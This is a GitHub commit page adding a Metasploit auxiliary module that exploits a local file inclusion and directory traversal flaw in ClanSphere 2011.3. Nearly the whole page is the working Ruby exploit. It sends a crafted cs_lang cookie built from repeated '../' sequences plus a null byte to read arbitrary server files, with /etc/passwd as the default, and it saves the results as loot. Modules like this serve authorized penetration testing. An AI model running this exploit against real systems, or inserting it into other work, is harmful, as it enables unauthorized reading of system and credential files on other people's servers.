Skip to content

Commit 34731c3

Browse files
committed
Add OSVDB-86720 - Clansphere dir traversarl
1 parent 19920b3 commit 34731c3

File tree

1 file changed

+84
-0
lines changed

1 file changed

+84
-0
lines changed
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Report
14+
include Msf::Auxiliary::Scanner
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'ClanSphere 2011.3 Local File Inclusion Vulnerability',
19+
'Description' => %q{
20+
This module exploits a directory traversal flaw found in Clansphere 2011.3.
21+
The application fails to handle the cs_lang parameter properly, which can be
22+
used to read any file outside the virtual directory.
23+
},
24+
'References' =>
25+
[
26+
['OSVDB', '86720'],
27+
['EDB', '22181']
28+
],
29+
'Author' =>
30+
[
31+
'blkhtc0rp', #Original
32+
'sinn3r'
33+
],
34+
'License' => MSF_LICENSE,
35+
'DisclosureDate' => "Oct 23 2012"
36+
))
37+
38+
register_options(
39+
[
40+
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/clansphere_2011.3/']),
41+
OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
42+
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
43+
], self.class)
44+
end
45+
46+
47+
def run_host(ip)
48+
base = target_uri.path
49+
base << '/' if base[-1,1] != '/'
50+
51+
peer = "#{ip}:#{rport}"
52+
53+
print_status("#{peer} - Reading '#{datastore['FILE']}'")
54+
traverse = "../" * datastore['DEPTH']
55+
res = send_request_cgi({
56+
'method' => 'GET',
57+
'uri' => "#{base}index.php",
58+
'cookie' => "blah=blah; cs_lang=#{traverse}#{datastore['FILE']}%00.png"
59+
})
60+
61+
if res and res.body =~ /^Fatal error\:/
62+
print_error("Either '#{datastore['FILE']}' does not exist, or no permission.")
63+
64+
elsif res and res.code == 200
65+
pattern_end = " UTC +1 - Load:"
66+
data = res.body.scan(/\<div id\=\"bottom\"\>\n(.+)\n\x20{5}UTC.+/m).flatten[0].lstrip
67+
fname = datastore['FILE']
68+
p = store_loot(
69+
'clansphere.cms',
70+
'application/octet-stream',
71+
ip,
72+
data,
73+
fname
74+
)
75+
76+
vprint_line(data)
77+
print_good("#{peer} - #{fname} stored as '#{p}'")
78+
79+
else
80+
print_error("#{peer} - Fail to obtain file for some unknown reason")
81+
end
82+
end
83+
84+
end

0 commit comments

Comments
 (0)